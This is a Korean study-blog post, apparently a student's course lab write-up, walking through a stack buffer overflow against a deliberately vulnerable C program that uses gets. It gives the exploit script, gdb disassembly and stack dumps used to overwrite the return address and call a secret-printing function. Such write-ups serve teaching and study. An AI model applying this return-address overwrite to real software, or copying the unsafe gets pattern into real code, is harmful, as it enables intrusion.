본문으로 건너뛰기

23.05.19.

Today I learned

  • 컴시개

컴퓨터시스템개론

Buffer Overflow Exploitation

오버플로우를 발생시켜 반환주소 변환시키기

//myecho
#include <stdio.h>

void print_secret(void);

void echo(void) {
char buf[24];
puts("Input your message:");
gets(buf);
puts(buf);
}

int main(void) {
echo();
return 0;
}
//exe.py
import os, sys
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(parent_dir)
from helper import Program

def exploit():
prog = Program("./myecho")
print(prog.read_line()) # Read the output of the program
prog.send_line("A"*40+"\x86\x06\x40") # Send input to the program
print(prog.read_line())
print(prog.read_line())

if __name__ == "__main__":
exploit()

exe.py를 실행시켜 bufferoverflow를 발생시켜 secret.txt파일을 실행시켜보자.

cse20201593@cspro:~/assembly/hw2/2-1$ gdb -q myecho
Reading symbols from myecho...(no debugging symbols found)...done.
(gdb) disas echo
Dump of assembler code for function echo:
0x00000000004006f3 <+0>: sub $0x28,%rsp
0x00000000004006f7 <+4>: mov $0x4007e8,%edi
0x00000000004006fc <+9>: callq 0x400510 <puts@plt>
0x0000000000400701 <+14>: mov %rsp,%rdi
0x0000000000400704 <+17>: mov $0x0,%eax
0x0000000000400709 <+22>: callq 0x400550 <gets@plt>
0x000000000040070e <+27>: mov %rsp,%rdi
0x0000000000400711 <+30>: callq 0x400510 <puts@plt>
0x0000000000400716 <+35>: add $0x28,%rsp
0x000000000040071a <+39>: retq
End of assembler dump.

gdb를 실행시켜 echo파일을 디셈블 해본다.

(gdb) x/1s 0x4007e8
0x4007e8: "Input your message:"

puts는 $0x4007e8 레지스터에 저장되어있는 string배열을 받아 출력한다. overflow를 발생시켜 반환주소를 변경하기위해 gets를 탐색한다.

(gdb) b * 0x400709
Breakpoint 1 at 0x400709
(gdb) r
Starting program: /sogang/under/cse20201593/assembly/hw2/2-1/myecho
Input your message:

Breakpoint 1, 0x0000000000400709 in echo ()
(gdb) x/8xg $rsp
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x0000000000400730 0x0000000000400590
0x7fffffffe430: 0x00007fffffffe520 0x0000000000400724
0x7fffffffe440: 0x0000000000000000 0x00007ffff7a2d840

gets함수가 실행될때 breakpoint를 걸고, 이때 rsp레지스터를 열어본다.
0x00000000004006f3 <+0>: sub $0x28,%rsp로부터 40바이트 떨어진 곳에 0x400724인 반환주소가 위치한걸 알 수 있다. 이 주소는 어디를 가리킬까?

(gdb) disas main
Dump of assembler code for function main:
0x000000000040071b <+0>: sub $0x8,%rsp
0x000000000040071f <+4>: callq 0x4006f3 <echo>
0x0000000000400724 <+9>: mov $0x0,%eax
0x0000000000400729 <+14>: add $0x8,%rsp
0x000000000040072d <+18>: retq
End of assembler dump.

main함수에서 echo함수를 호출하고 저장한 returnaddress임을 알 수 있다.
우리는 이 주소를 print_secret()의 주소로 바꿀 수 있다면, secret.txt를 호출할 수 있다. print_secret()의 주소를 찾아보면

(gdb) disas print_secret
Dump of assembler code for function print_secret:
0x0000000000400686 <+0>: sub $0x58,%rsp

로 0x400686임을 알수있다.
gets는 $rsp레지스터를 인자로 받으므로, 40바이트 더미값을 집어넣고 이후 print_secret의 주소를 써 넣으면 echo는 실행 후 main함수로 돌아오지 않고 print_secret을 호출한다.

def exploit():
prog = Program("./myecho")
print(prog.read_line()) # Read the output of the program
prog.send_line("A"*40+"\x86\x06\x40") # Send input to the program
print(prog.read_line())
print(prog.read_line())

출력결과

cse20201593@cspro:~/assembly/hw2/2-1$ ./exploit-myecho.py
Input your message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA†@
The secret string is {8712f8ef}